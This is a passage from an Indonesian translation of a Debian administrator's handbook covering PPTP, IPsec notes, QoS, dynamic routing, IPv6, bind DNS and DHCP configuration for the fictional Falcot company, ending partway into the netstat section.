Meskipun statusnya sebagai referensi, kompleksitas menyiapkan IPsec membatasi penggunaannya dalam praktek. Solusi berbasis OpenVPN umumnya akan lebih disukai bila diperlukan tunnel yang tidak terlalu banyak atau dinamis.

HATI-HATI IPsec dan NAT

Firewall yang melakukan NAT dan IPsec tidak bekerja sama dengan baik: karena IPsec menandatangani paket-paket, perubahan pada paket-paket ini yang mungkin dilakukan oleh firewall akan membatalkan tanda tangan, dan paket-paket akan ditolak di tempat tujuan. Berbagai implementasi IPsec sekarang termasuk teknik NAT-T (untuk NAT Traversal), yang pada dasarnya membungkus paket IPsec dalam paket UDP standar.

KEAMANAN IPsec dan firewall

Mode standar pengoperasian IPsec melibatkan pertukaran data di UDP port 500 untuk pertukaran kunci (juga dalam port UDP 4500 dalam kasus digunakannya NAT-T). Selain itu, paket-paket IPsec menggunakan dua protokol IP terdedikasi yang mesti dibiarkan lewat oleh firewall; penerimaan paket ini didasarkan pada nomor protokol mereka, 50 (ESP) dan 51 (AH).

10.3.4. PPTP

PPTP (untuk Point-to-Point Tunneling Protocol) menggunakan dua saluran komunikasi, satu untuk data kontrol dan satu untuk data muatan; yang terakhir menggunakan protokol GRE (Generik Routing enkapsulasi). Link PPP standar kemudian disiapkan di atas kanal pertukaran data.

10.3.4.1. Mengkonfigurasi Klien

Paket pptp-linux berisi klien PPTP yang mudah dikonfigurasi untuk Linux. Instruksi berikut mengambil inspirasi dari dokumentasi resmi:

→ http://pptpclient.sourceforge.net/howto-debian.phtml

Administrator Falcot membuat beberapa berkas: /etc/ppp/options.pptp, /etc/ppp/peers/falcot, /etc/ppp/ip-up.d/falcot, dan /etc/ppp/ip-down.d/falcot.

Contoh 10.2. Berkas /etc/ppp/options.pptp

# PPP options used for a PPTP connection

lock

noauth

nobsdcomp

nodeflate

Contoh 10.3. Berkas /etc/ppp/peers/falcot

# vpn.falcot.com is the PPTP server

pty "pptp vpn.falcot.com --nolaunchpppd"

# the connection will identify as the "vpn" user

user vpn

remotename pptp

# encryption is needed

require-mppe-128

file /etc/ppp/options.pptp

ipparam falcot

Contoh 10.4. Berkas /etc/ppp/ip-up.d/falcot

# Create the route to the Falcot network

if [ "$6" = "falcot" ]; then

# 192.168.0.0/24 is the (remote) Falcot network

ip route add 192.168.0.0/24 dev $1

fi

Contoh 10.5. Berkas /etc/ppp/ip-down.d/falcot

# Delete the route to the Falcot network

if [ "$6" = "falcot" ]; then

# 192.168.0.0/24 is the (remote) Falcot network

ip route del 192.168.0.0/24 dev $1

fi

KEAMANAN MPPE

Mengamankan PPTP melibatkan penggunaan fitur MPPE (Microsoft Point-to-Point Encryption), yang tersedia di kernel Debian resmi sebagai modul.

10.3.4.2. Menata Server

HATI-HATI PPTP dan firewall

Firewall intermediate perlu dikonfigurasi untuk membiarkan paket IP menggunakan protokol 47 (GRE). Selain itu, port server PPTP 1723 harus terbuka sehingga saluran komunikasi dapat terjadi.

pptpd adalah server PPTP untuk Linux. Berkas konfigurasi utamanya, /etc/pptpd.conf, memerlukan sangat sedikit perubahan: localip (alamat IP lokal) dan remoteip (alamat IP remote). Dalam contoh di bawah, server PPTP selalu memakai alamat 192.168.0.199dan klien PPTP menerima alamat IP dari 192.168.0.200 sampai 192.168.0.250.

Contoh 10.6. Berkas /etc/pptpd.conf

# TAG: speed

#

#       Specifies the speed for the PPP daemon to talk at.

#

speed 115200

# TAG: option

#

#       Specifies the location of the PPP options file.

#       By default PPP looks in '/etc/ppp/options'

#

option /etc/ppp/pptpd-options

# TAG: debug

#

#       Turns on (more) debugging to syslog

#

# debug

# TAG: localip

# TAG: remoteip

#

#       Specifies the local and remote IP address ranges.

#

#       You can specify single IP addresses separated by commas or you can

#       specify ranges, or both. For example:

#

#               192.168.0.234,192.168.0.245-249,192.168.0.254

#

#       IMPORTANT RESTRICTIONS:

#

#       1. No spaces are permitted between commas or within addresses.

#

#       2. If you give more IP addresses than MAX_CONNECTIONS, it will

#          start at the beginning of the list and go until it gets

#          MAX_CONNECTIONS IPs. Others will be ignored.

#

#       3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238,

#          you must type 234-238 if you mean this.

#

#       4. If you give a single localIP, that's ok - all local IPs will

#          be set to the given one. You MUST still give at least one remote

#          IP for each simultaneous client.

#

#localip 192.168.0.234-238,192.168.0.245

#remoteip 192.168.1.234-238,192.168.1.245

#localip 10.0.1.1

#remoteip 10.0.1.2-100

localip 192.168.0.199

remoteip 192.168.0.200-250

Konfigurasi PPP yang digunakan oleh server PPTP juga memerlukan beberapa perubahan kecil di /etc/ppp/pptpd-options. Parameter penting adalah nama server (pptp), nama domain (falcot.com), dan alamat IP untuk server DNS dan WINS.

Contoh 10.7. Berkas /etc/ppp/pptpd-options

## turn pppd syslog debugging on

#debug

## change 'servername' to whatever you specify as your server name in chap-secrets

name pptp

## change the domainname to your local domain

domain falcot.com

## these are reasonable defaults for WinXXXX clients

## for the security related settings

# The Debian pppd package now supports both MSCHAP and MPPE, so enable them

# here. Please note that the kernel support for MPPE must also be present!

auth

require-chap

require-mschap

require-mschap-v2

require-mppe-128

## Fill in your addresses

ms-dns 192.168.0.1

ms-wins 192.168.0.1

## Fill in your netmask

netmask 255.255.255.0

## some defaults

nodefaultroute

proxyarp

lock

Langkah terakhir melibatkan mendaftarkan pengguna vpn (dan kata sandi terkait) dalam berkas /etc/ppp/chap-secrets. Berbeda dengan instansi lain dimana bintang (*) akan bekerja, nama server harus diisi secara eksplisit di sini. Lebih jauh, klien-klien PPTP Windows mengidentifikasi diri mereka sendiri dalam bentuk DOMAIN\\USER, bukan sekedar menyediakan nama pengguna. Ini menjelaskan mengapa berkas juga menyinggung pengguna FALCOT\\vpn. Juga dimungkinkan untuk menyatakan alamat IP individu untuk para pengguna; bintang dalam ruas ini menyatakan bahwa pengalamat dinamis mesti dipakai.

Contoh 10.8. Berkas /etc/ppp/chap-secrets

# Secrets for authentication using CHAP

# client        server  secret      IP addresses

vpn             pptp    f@Lc3au     *

FALCOT\\vpn     pptp    f@Lc3au     *

KEAMANAN Kerentanan PPTP

Implementasi PPTP pertama Microsoft mengundang kritik keras karena memiliki banyak kerentanan keamanan; sebagian besar sejak saat itu telah diperbaiki dalam versi yang lebih baru. Konfigurasi yang didokumentasikan di bagian ini menggunakan versi terbaru dari protokol. Sadarilah bahwa menghapus beberapa opsi (seperti require-mppe-128 dan require-mschap-v2) akan membuat layanan rentan lagi.

10.4. Kualitas Layanan

10.4.1. Prinsip dan Mekanisme

Quality of Service (Kualitas Layanan atau disingkat QoS) mengacu ke sekumpulan teknik yang menjamin atau memperbaiki kualitas layanan yang disediakan ke aplikasi. Teknik paling populer melibatkan penggolongan trafik jaringan ke dalam kategori-kategori, dan membedakan penanganan trafik sesuai dengan kategori yang menaunginya. Penerapan utama dari konsep layanan terdiferensiasi ini adalah traffic shaping, yang membatasi laju transmisi data untuk koneksi yang terkait dengan beberapa layanan dan/atau host agar tidak membuat jenuh lebar pita yang tersedia dan mencekik layanan penting lain. Traffic shaping khususnya sangat cocok bagi trafik TCP, karena protokol ini secara otomatis menyesuaikan ke lebar pita yang tersedia.

KULTUR Netralitas jaringan dan QoS

Netralitas jaringan dicapai ketika penyedia layanan Internet memperlakukan semua komunikasi Internet secara setara, yaitu, tanpa batasan akses apa pun berdasarkan konten, pengguna, situs web, alamat tujuan, dll.

Kualitas layanan dapat diimplementasikan dalam suatu Internet yang netral jaringan, tapi hanya bila penyedia layanan Internet tak bisa mengutip biaya khusus bagi suatu layanan dengan kualitas lebih tinggi.

Mungkin juga untuk mengubah prioritas pada lalu lintas, yang memungkinkan memprioritaskan paket-paket yang berhubungan dengan layanan interaktif (seperti ssh dan telnet) atau ke layanan yang hanya berhubungan dengan blok-block kecil data.

Kernel Debian menyertakan fitur-fitur yang diperlukan untuk QoS bersama dengan modul-modul terkait. Modul ini banyak, dan masing-masing menyediakan layanan berbeda, terutama skeduler khusus untuk antrian paket IP; berbagai macam perilaku skeduler tersedia mencakup seluruh kemungkinan persyaratan.

KULTUR LARTC — Linux Advanced Routing & Traffic Control

HOWTO Linux Advanced Routing & Traffic Control adalah dokumen referensi yang mencakup segala hal yang perlu diketahui tentang kualitas layanan jaringan.

→ https://www.lartc.org/howto/

10.4.2. Mengkonfigurasi dan Mengimplementasi

Parameter QoS ditetapkan melalui perintah tc (yang disediakan oleh paket iproute ). Karena antarmukanya cukup kompleks, dianjurkan menggunakan alat-alat dengan tingkat lebih tinggi.

10.4.2.1. Mengurangi Latensi: wondershaper

Tujuan utama dari wondershaper (dalam paket yang bernama sama) adalah untuk meminimalkan latensi independen dari beban jaringan. Hal ini dicapai dengan membatasi total lalu lintas ke nilai yang sedikit kurang dari nilai saturasi link.

Sekali suatu antarmuka jaringan dikonfigurasi, menyiapkan pembatasan trafik ini dicapai dengan menjalankan wondershaper antarmuka laju_unduh laju_unggah. Antarmuka bisa berupa eth0 atau ppp0 misalnya, dan kedua kecepatan dinyatakan dalam kilobit per detik. Perintah wondershaper remove antarmuka menonaktifkan kendali trafik pada antarmuka yang dinyatakan.

Untuk sambungan Ethernet, skrip ini terbaik dipanggil tepat setelah antar muka dikonfigurasi. Hal ini dilakukan dengan menambahkan arahan up dan down ke berkas /etc/network/interfaces yang memungkinkan perintah-perintah yang dideklarasikan dijalankan, masing-masing, setelah antar muka dikonfigurasi dan sebelum itu di-dekonfigurasi. Sebagai contoh:

Contoh 10.9. Perubahan dalam berkas /etc/network/interfaces

iface eth0 inet dhcp

up /sbin/wondershaper eth0 500 100

down /sbin/wondershaper remove eth0

Dalam kasus PPP, menciptakan sebuah skrip yang panggilan wondershaper di /etc/ppp/ip-up.d/ akan memungkinkan kontrol lalu lintas segera setelah sambungan hidup.

LEBIH LANJUT Konfigurasi optimal

Berkas /Usr/share/doc/wondershaper/README.Debian.gz menjelaskan, secara agak rinci, metode konfigurasi yang direkomendasikan oleh pengelola paket. Secara khusus, itu menyarankan mengukur kecepatan unduh dan unggah untuk mengevaluasi secara terbaik batas nyata.

10.4.2.2. Konfigurasi Standar

Kecuali konfigurasi QoS tertentu, kernel Linux menggunakan penjadwal antrian pfifo_fast, yang menyediakan beberapa fitur menarik. Prioritas dari setiap paket IP yang diproses didasarkan pada ruas DSCP (Differentiated of Services Code Point) paket ini; memodifikasi ruas 6 bit ini cukup untuk mengambil keuntungan dari fitur penjadwalan. Lihat https://en.wikipedia.org/wiki/Differentiated_services#Class_Selector untuk informasi lebih lanjut.

Ruas DSCP dapat diatur oleh aplikasi yang menghasilkan paket IP, atau diubah sambil jalan oleh netfilter. Aturan berikut cukup untuk meningkatkan responsivitas untuk server layanan SSH, perhatikan bahwa ruas DSCP mesti ditata dalam heksadesimal:

nft add table ip mangle

nft add rule ip mangle PREROUTING tcp sport 22 counter ip dscp set 0x04

nft add rule ip mangle PREROUTING tcp dport 22 counter ip dscp set 0x04

10.5. Routing Dinamis

Alat referensi untuk routing dinamis saat ini quagga, dari paket yang dinamai serupa; dulu zebra sampai pengembangan yang terakhir berhenti. Namun, quagga mempertahankan nama-nama program untuk alasan kompatibilitas yang menjelaskan perintah zebra di bawah ini.

KEMBALI KE DASAR Ruting dinamis

Routing dinamis memungkinkan router untuk menyesuaikan, secara real time, jalur yang digunakan untuk transmisi paket IP. Setiap protokol melibatkan metode sendiri dalam mendefinisikan rute (jalur terpendek, menggunakan rute yang diiklankan oleh teman sebaya, dan sebagainya).

Di kernel Linux, rute menghubungkan perangkat jaringan ke satu set mesin yang dapat dihubungi melalui perangkat ini. Perintah ip, ketika route digunakan sebagai argumen pertama, mendefinisikan rute baru dan menampilkan yang sudah ada. Perintah route digunakan untuk tujuan itu, tetapi tidak dipakai lagi, diganti dengan ip.

Quagga adalah suatu kumpulan daemon yang bekerja sama untuk mendefinisikan tabel routing yang dipakai oleh kernel Linux; setiap protokol routing (terutama BGP, OSPF, dan RIP) menyediakan daemon masing-masing. Daemon zebra mengumpulkan informasi dari daemon-daemon lain dan menangani tabel routing statik yang sesuai. Daemon-daemon lain dikenal sebagai bgpd, ospfd, ospf6d, ripd, ripngd, dan isisd.

Daemon diaktifkan dengan membuat berkas konfigurasi /etc/quagga/daemon.conf , daemon adalah nama dari daemon yang akan digunakan; berkas ini harus dimiliki oleh pengguna dan grup quagga agar skrip /etc/init.d/zebra dapat menjalankan daemon. Paket quagga-core menyediakan contoh konfigurasi pada /usr/share/doc/quagga-core/example/.

Konfigurasi masing-masing daemon ini membutuhkan pengetahuan tentang protokol routing yang bersangkutan. Protokol-protokol ini tidak dapat dijelaskan secara rinci di sini, tetapi quagga-doc memberikan penjelasan yang cukup dalam bentuk sebuah berkas info. Isi yang sama mungkin lebih mudah dibaca dalam bentuk HTML pada situs web Quagga:

→ http://www.nongnu.org/quagga/docs/docs-info.html

Selain itu, sintaks ini sangat dekat dengan konfigurasi antarmuka router standar, dan administrator jaringan akan beradaptasi dengan cepat ke quagga.

DALAM PRAKTEK OSPF, BGP, atau RIP?

OSPF (Open Shortest Path First) umumnya adalah protokol yang terbaik untuk digunakan untuk routing dinamis pada jaringan privat, tetapi BGP (Border Gateway Protocol) lebih umum untuk routing seluruh Internet. RIP (Routing Information Protocol) agak kuno, dan hampir tidak digunakan lagi.

10.6. IPv6

IPv6, penerus IPv4, adalah sebuah versi baru dari protokol IP yang dirancang untuk memperbaiki cacatnya, paling menonjol adalah langkanya alamat IP yang tersedia. Protokol ini menangani layer jaringan; tujuannya adalah untuk menyediakan suatu cara untuk memberi alamat ke mesin-mesin, mengangkut data ke tujuan yang diinginkan, dan untuk menangani fragmentasi data bila diperlukan (dengan kata lain, untuk membelah paket-paket ke dalam penggalan-penggalan dengan suatu ukuran yang bergantung kepada link jaringan yang akan dipakai pada path dan untuk merakit ulang penggalan-penggalan dalam urutan yang sesuai saat kedatangan).

Kernel Debian termasuk penanganan IPv6 di kernel inti (dengan pengecualian beberapa arsitektur yang mengkompilasinya sebagai module bernama ipv6). Perkakas dasar seperti ping dan traceroute memiliki yang setara untuk IPv6 di ping6 dan traceroute6, masing-masing tersedia dalam paket-paket iputils-ping dan iputils-tracepath .

Jaringan IPv6 dikonfigurasi secara mirip dengan IPv4, di /etc/network/interfaces. Tetapi jika Anda ingin jaringan yang akan tersedia secara global, Anda harus memastikan bahwa Anda memiliki router mampu-IPv6 yang meneruskan lalu lintas ke jaringan IPv6 global.

Contoh 10.10. Contoh konfigurasi IPv6

iface eth0 inet6 static

address 2001:db8:1234:5::1:1/64

# Disabling auto-configuration

# autoconf 0

# The router is auto-configured and has no fixed address

# (accept_ra 1). If it had:

# gateway 2001:db8:1234:5::1

Subnet IPv6 biasanya memiliki netmask dari 64 bit. Ini berarti bahwa 2^64 alamat yang berbeda ada dalam subnet. Hal ini memungkinkan Stateless Address Autoconfiguration (SLAAC) untuk memilih alamat berdasarkan alamat MAC antarmuka jaringan. Secara default, jika SLAAC diaktifkan dalam jaringan dan IPv6 di komputer Anda, kernel akan otomatis menemukan router IPv6 dan mengkonfigurasi antarmuka jaringan.

Perilaku ini mungkin punya implikasi privasi. Bila Anda sering berpindah jaringan, mis. dengan suatu laptop, Anda mungkin tidak ingin alamat MAC menjadi bagian dari alamat IPv6 publik Anda. Hal ini membuat mudah mengidentifikasi peranti yang sama di manapun di jaringan. Suatu solusi untuk ini adalah ekstensi privasi IPv6 (yang secara baku difungsikan oleh Debian bila konektivitas IPv6 terdeteksi selama instalasi awal), yang akan menugaskan alamat tambahan yang dibuat secara acak ke antarmuka, secara berkala mengubah mereka dan lebih menyukai mereka untuk koneksi arah keluar. Koneksi arah masuk masih tetap dapat memakai alamat yang dibuat oleh SLAAC. Contoh berikut, untuk dipakai dalam /etc/network/interfaces, mengaktifkan ekstensi privasi ini.

Contoh 10.11. Ekstensi privasi IPv6

iface eth0 inet6 auto

# Prefer the randomly assigned addresses for outgoing connections.

privext 2

TIP Program-program yang dibangun dengan IPv6

Banyak potongan perangkat lunak yang perlu disesuaikan untuk menangani IPv6. Sebagian besar paket Debian telah usai disesuaikan, tetapi tidak semua. Jika paket favorit Anda belum bekerja dengan IPv6, Anda dapat meminta bantuan pada milis debian-ipv6. Mereka mungkin tahu tentang pengganti yang IPv6-aware dan dapat melaporkan bug agar masalah dilacak dengan benar.

→ https://lists.debian.org/debian-ipv6/

Koneksi IPv6 dapat dibatasi, dengan cara yang sama seperti untuk IPv4. nft dapat digunakan untuk membuat aturan firewall untuk IPv4 dan IPv6 (lihat Bagian 14.2.3, “Sintaks nft”).

10.6.1. Tunneling

HATI-HATI tunnel dan firewall IPv6

Tunneling IPv6 di IPv4 (alih-alih IPv6 native) memerlukan firewall untuk menerima lalu lintas, yang menggunakan protokol IPv4 nomor 41.

Jika koneksi IPv6 yang native tidak tersedia, metode alternatif adalah dengan menggunakan sebuah tunnel di atas IPv4. Hurricane Electric adalah salah satu penyedia tunnel (gratis) tersebut:

→ https://tunnelbroker.net

Untuk menggunakan tunnel Hurricane Electric, Anda perlu mendaftarkan akun, masuk, memilih tunnel gratis, dan menyunting berkas /etc/network/interfaces dengan kode yang dihasilkan.

Anda dapat memasang dan mengonfigurasi daemon radvd (dari paket yang bernama sama) bila Anda ingin memakai komputer yang dikonfigurasi sebagai router bagi suatu jaringan lokal. Daemon konfigurasi IPv6 ini memiliki peran mirip dhcpd di dunia IPv4.

Berkas konfigurasi /etc/radvd.conf harus kemudian dibuat (Lihat /usr/share/doc/radvd/examples/simple-radvd.conf sebagai titik awal). Dalam kasus kami, satu-satunya perubahan yang diperlukan adalah awalan, yang perlu diganti dengan yang disediakan oleh Hurricane Electric; hal ini dapat ditemukan dalam keluaran perintah ip a, di blok mengenai antarmuka he-ipv6 .

Kemudian jalankan systemctl start radvd. Jaringan IPv6 yang seharusnya sekarang bekerja.

10.7. Domain Name Servers (DNS)

Layanan Nama Domain (Domain Name Service, DNS) adalah komponen fundamental dari Internet: itu memetakan nama host ke alamat IP (dan sebaliknya), yang memungkinkan penggunaan www.debian.org daripada 149.20.4.15 atau 2001:4f8:1:c::15.

Record-record DNS disusun dalam zona; setiap zona cocok dengan suatu domain (atau subdomain) atau suatu rentang alamat IP (karena alamat IP umumnya dialokasikan dalam rentang berturutan). Sebuah server adalah otoritatif atas isi suatu zona; server sekunder, sering diwadahi pada mesin terpisah, menyediakan salinan zona utama yang diperbarui secara teratur.

Setiap zona dapat berisi record dari berbagai jenis (Record Sumber Daya), ini adalah beberapa yang paling umum:

- A: Alamat IPv4.

- CNAME: alias (nama kanonis).

- MX: pertukaran surat, server surel. Informasi ini digunakan oleh server surel lain untuk menemukan tempat mengirim surel yang ditujukan ke alamat yang diberikan. Setiap data MX memiliki prioritas. Server prioritas tertinggi (dengan angka terendah) dicoba terlebih dahulu (lihat bilah sisi KEMBALI KE DASAR SMTP ); server lain dihubungi dalam prioritas menurun jika yang pertama tidak membalas.

- PTR: pemetaan alamat IP ke suatu nama. Record semacam itu disimpan dalam zona "reverse DNS" yang diberi nama sesuai dengan rentang alamat IP. Sebagai contoh, 1.168.192.in-addr.arpa adalah zona yang berisi pemetaan balik untuk semua alamat di rentang 192.168.1.0/24.

- AAAA: Alamat IPv6.

- NS: memetakan suatu nama ke sebuah server nama. Setiap domain harus punya paling tidak satu record NS. Record ini menunjuk ke suatu server DNS yang dapat menjawab kueri-kueri menyangkut domain ini; mereka biasanya menunjuk ke server primer dan sekunder bagi domain tersebut. Record ini juga mengizinkan delegasi DNS; sebagai contoh, zona falcot.com bisa termasuk suatu record NS bagi internal.falcot.com, yang berarti bahwa zona internal.falcot.com ditangani oleh server lain. Tentu saja, server ini mesti mendeklarasikan zona internal.falcot.com.

10.7.1. Perangkat lunak DNS

Server nama referensi, Bind, dikembangkan dan dikelola oleh ISC (Internet Software Consortium). Disediakan di Debian oleh paket bind9. Versi 9 membawa dua perubahan besar dibandingkan dengan versi sebelumnya. Pertama, server DNS sekarang dapat dijalankan di bawah pengguna tanpa hak khusus, sehingga kerentanan keamanan di server tidak memberikan hak akses root ke penyerang (seperti yang terlihat berkali-kali dengan versi 8.x).

Selain itu, Bind mendukung standar DNSSEC untuk penandatanganan (dan karena itu otentikasi) record DNS, yang memungkinkan memblokir setiap spoofing data ini selama serangan man-in-the-middle.

KULTUR DNSSEC

Norma DNSSEC cukup kompleks; ini menjelaskan sebagian mengapa DNSSEC belum digunakan secara luas (bahkan jika itu secara sempurna berdampingan dengan server DNS yang tidak sadar-DNSSEC). Untuk memahami semua seluk-beluknya, Anda harus memeriksa artikel berikut.

→ https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

>

10.7.2. Mengkonfigurasi bind

Berkas konfigurasi untuk bind, terlepas dari versi, memiliki struktur yang sama.

Para administrator Falcot menciptakan sebuah zona utama falcot.com untuk menyimpan informasi yang terkait dengan domain ini, dan zona 168.192.in-addr.arpa untuk pemetaan balik alamat IP pada jaringan lokal.

HATI-HATI Nama-nama zone reverse

Zona reverse memiliki nama khusus. Zona yang meliputi jaringan 192.168.0.0/16 perlu diberi nama 168.192.in-addr.arpa: komponen alamat IP dibalik, dan diikuti oleh akhiran in-addr.arpa.

Untuk jaringan IPv6, akhiran adalah ip6.arpa dan komponen alamat IP yang dibalik adalah setiap karakter pada perwakilan penuh heksadesimal alamat IP. Dengan demikian, jaringan 2001:0bc8:31a0::/48 akan menggunakan zona yang bernama 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

TIP Pengujian DNS server

Perintah host (dalam paket bind9-host) mengkueri server DNS, dan dapat digunakan untuk menguji konfigurasi server. Sebagai contoh, host machine.falcot.com localhost memeriksa balasan server lokal untuk permintaan machine.falcot.com. host alamatip localhost menguji resolusi terbalik.

Kutipan-kutipan konfigurasi berikut, diambil dari berkas Falcot, dapat berfungsi sebagai titik awal untuk mengkonfigurasi sebuah server DNS:

Contoh 10.12. Kutipan dari /etc/bind/named.conf.local

zone "falcot.com" {

type master;

file "/etc/bind/db.falcot.com";

allow-query { any; };

allow-transfer {

195.20.105.149/32 ; // ns0.xname.org

193.23.158.13/32 ; // ns1.xname.org

};

};

zone "internal.falcot.com" {

type master;

file "/etc/bind/db.internal.falcot.com";

allow-query { 192.168.0.0/16; };

};

zone "168.192.in-addr.arpa" {

type master;

file "/etc/bind/db.192.168";

allow-query { 192.168.0.0/16; };

};

Contoh 10.13. Kutipan dari /etc/bind/db.falcot.com

; falcot.com Zone

; admin.falcot.com. => zone contact: admin@falcot.com

$TTL    604800

@       IN      SOA     falcot.com. admin.falcot.com. (

20040121        ; Serial

604800         ; Refresh

86400         ; Retry

2419200         ; Expire

604800 )       ; Negative Cache TTL

;

; The @ refers to the zone name ("falcot.com" here)

; or to $ORIGIN if that directive has been used

;

@       IN      NS      ns

@       IN      NS      ns0.xname.org.

internal IN      NS      192.168.0.2

@       IN      A       212.94.201.10

@       IN      MX      5 mail

@       IN      MX      10 mail2

ns      IN      A       212.94.201.10

mail    IN      A       212.94.201.10

mail2   IN      A       212.94.201.11

www     IN      A       212.94.201.11

dns     IN      CNAME   ns

HATI-HATI Sintaks nama

Sintaks nama-nama mesin mengikuti aturan ketat. Contohnya, mesin menyiratkan mesin.domain. Jika nama domain tidak harus ditambahkan ke sebuah nama, maka nama tersebut harus ditulis sebagai mesin. (dengan titik sebagai sufiks). Maka menunjukkan nama DNS di luar domain saat ini memerlukan sintaks seperti mesin.domainlain.com. (dengan titik akhir).

Contoh 10.14. Kutipan dari /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16

; admin.falcot.com. => zone contact: admin@falcot.com

$TTL    604800

@       IN      SOA     ns.internal.falcot.com. admin.falcot.com. (

20040121        ; Serial

604800         ; Refresh

86400         ; Retry

2419200         ; Expire

604800 )       ; Negative Cache TTL

IN      NS      ns.internal.falcot.com.

; 192.168.0.1 -> arrakis

1.0     IN      PTR     arrakis.internal.falcot.com.

; 192.168.0.2 -> neptune

2.0     IN      PTR     neptune.internal.falcot.com.

; 192.168.3.1 -> pau

1.3     IN      PTR     pau.internal.falcot.com.

10.8. DHCP

DHCP (untuk Dynamic Host Configuration Protocol) adalah protokol yang dengannya suatu mesin dapat secara otomatis mendapatkan konfigurasi jaringannya ketika boot. Ini memungkinkan sentralisasi manajemen konfigurasi jaringan, dan memastikan bahwa semua mesin desktop mendapatkan pengaturan yang serupa.

Sebuah server DHCP menyediakan banyak parameter terkait jaringan. Yang paling umum adalah alamat IP dan mesin masuk jaringan mana, tetapi juga bisa menyediakan informasi lainnya, seperti server DNS, server WINS, server NTP, dan sebagainya.

Internet Software Consortium (juga terlibat dalam mengembangkan bind) adalah penulis utama dari server DHCP. Paket Debian yang cocok adalah isc-dhcp-server.

10.8.1. Mengkonfigurasi

Elemen pertama yang perlu disunting dalam berkas konfigurasi DHCP (/etc/dhcp/dhcpd.conf), dan /etc/dhcp/dhcpd6.conf untuk IPv6) adalah nama domain dan server DNS. Bila server hanya sendiri pada jaringan lokal (sebagaimana didefinisikan oleh propagasi broadcast), direktif authoritative juga mesti difungsika (atau dihapus tanda komentarnya). Kita juga perlu membuat suatu bagian subnet yang menjelaskan jaringan lokal dan informasi konfigurasi yang akan disediakan. Contoh berikut pas ke jaringan lokal 192.168.0.0/24 dengan sebuah router pada 192.168.0.1 melayani sebagai gateway. Alamat IP yang tersedia ada dalam rentang 192.168.0.128 sampai 192.168.0.254.

Contoh 10.15. Kutipan dari /etc/dhcp/dhcpd.conf

#

# Sample configuration file for ISC dhcpd for Debian

#

# The ddns-updates-style parameter controls whether or not the server will

# attempt to do a DNS update when a lease is confirmed. We default to the

# behavior of the version 2 packages ('none', since DHCP v2 didn't

# have support for DDNS.)

ddns-update-style interim;

# option definitions common to all supported networks...

option domain-name "internal.falcot.com";

option domain-name-servers ns.internal.falcot.com;

default-lease-time 600;

max-lease-time 7200;

# If this DHCP server is the official DHCP server for the local

# network, the authoritative directive should be uncommented.

authoritative;

# Use this to send dhcp log messages to a different log file (you also

# have to hack syslog.conf to complete the redirection).

log-facility local7;

# My subnet

subnet 192.168.0.0 netmask 255.255.255.0 {

option routers 192.168.0.1;

option broadcast-address 192.168.0.255;

range 192.168.0.128 192.168.0.254;

ddns-domainname "internal.falcot.com";

}

10.8.2. DHCP dan DNS

Fitur bagus adalah pendaftaran otomatis klien DHCP di zona DNS, sehingga setiap mesin mendapat nama yang signifikan (daripada sesuatu yang impersonal seperti mesin-192-168-0-131.internal.falcot.com). Menggunakan fitur ini memerlukan konfigurasi server DNS untuk menerima update bagi zona DNS internal.falcot.com dari server DHCP, dan mengkonfigurasi yang terakhir untuk mengirimkan pambaruan bagi setiap pendaftaran.

Dalam kasus bind (lihat Bagian 10.7.1, “Perangkat lunak DNS”), direktif allow-update perlu ditambahkan ke masing-masing zona yang akan disuting oleh server DHCP server (satu untuk domain internal.falcot.com, dan zona balik). Direktif ini memuat daftar alamat IP yang diizinkan untuk melakukan pembaruan ini; oleh karena itu harus mengandung alamat-alamat server DHCP yang mungkin (alamat lokal dan alamat publik, jika sesuai).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Berhati-hatilah! Zona yang dapat diubah akan diganti oleh bind, dan yang kedua akan menimpa berkas-berkas konfigurasi secara berkala. Karena prosedur ini otomatis menghasilkan berkas yang kurang terbaca-manusia daripada ditulis secara manual, para administrator Falcot menangani domain internal.falcot.com dengan server DNS yang didelegasikan; ini berarti berkas zona falcot.com tetap tegas di bawah kontrol manual mereka.

Kutipan konfigurasi server DHCP di atas sudah termasuk petunjuk yang diperlukan untuk pembaruan zona DNS: mereka adalah baris ddns-update-style interim; dan ddns-domain-name "internal.falcot.com";.

10.9. Alat Diagnosis Jaringan

Ketika sebuah aplikasi jaringan tidak berjalan seperti yang diharapkan, sangat penting untuk dapat melihat di belakang layar. Bahkan ketika semuanya tampaknya berjalan lancar, menjalankan diagnosis jaringan dapat membantu memastikan semuanya bekerja seperti seharusnya. Ada beberapa alat diagnosis untuk tujuan ini; masing-masing beroperasi pada tingkat yang berbeda.

10.9.1. Diagnosis Lokal: netstat

Pertama mari kita bahas perintah netstat (dalam paket net-tools); itu menampilkan suatu ringkasan seketika dari aktivitas jaringan komputer. Ketika dipanggil tanpa argumen, perintah ini menmpilkan daftar semua koneksi yang terbuka; daftar ini bisa jadi sangat panjang karena itu termasuk soket-soket domain Unix (yang biasa dikenal sebagai daemon) yang sama sekali tidak melibatkan jaringan (sebagai contoh, komunikasi dbus, lalu lintas X11, dan komunikasi antar sistem berkas virtual dan dekstop.

Invokasi yang umum karena itu menggunakan pilihan yang mengubah perilaku netstat. Pilihan yang paling sering digunakan antara lain:

- -t, yang menyaring hasil untuk hanya menyertakan koneksi TCP;

- -u, yang bekerja secara serupa untuk koneksi UDP; pilihan ini tidak saling eksklusif, dan salah satunya cukup untuk menghentikan menampilkan hubungan Unix-domain;

- -, juga menampilkan daftar soket yang mendengar (menunggu untuk koneksi masuk);

- -n, untuk menampilkan hasil secara numerik: alamat IP (tanpa resolusi DNS), nomor port (bukan alias sebagaimana didefinisikan dalam /etc/services) dan id pengguna (tidak ada nama login);

- -p, untuk daftar proses yang terlibat; pilihan ini hanya berguna ketika netstat dijalankan sebagai root, karena pengguna normal hanya akan melihat proses mereka sendiri;

- -c, untuk terus-menerus menyegarkan daftar koneksi.

Pilihan lain, didokumentasikan dalam halaman manual netstat(8), menyediakan kontrol yang bahkan lebih halus atas hasil yang ditampilkan. Dalam prakteknya, lima pilihan pertama begitu sering digunakan bersama bahwa sistem dan administrator jaringan praktis mengakuisisi netstat -tupan sebagai refleks. Hasil yang khas, pada mesin bermuatan ringan, mungkin terlihat seperti berikut:

# netstat -tupan

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name

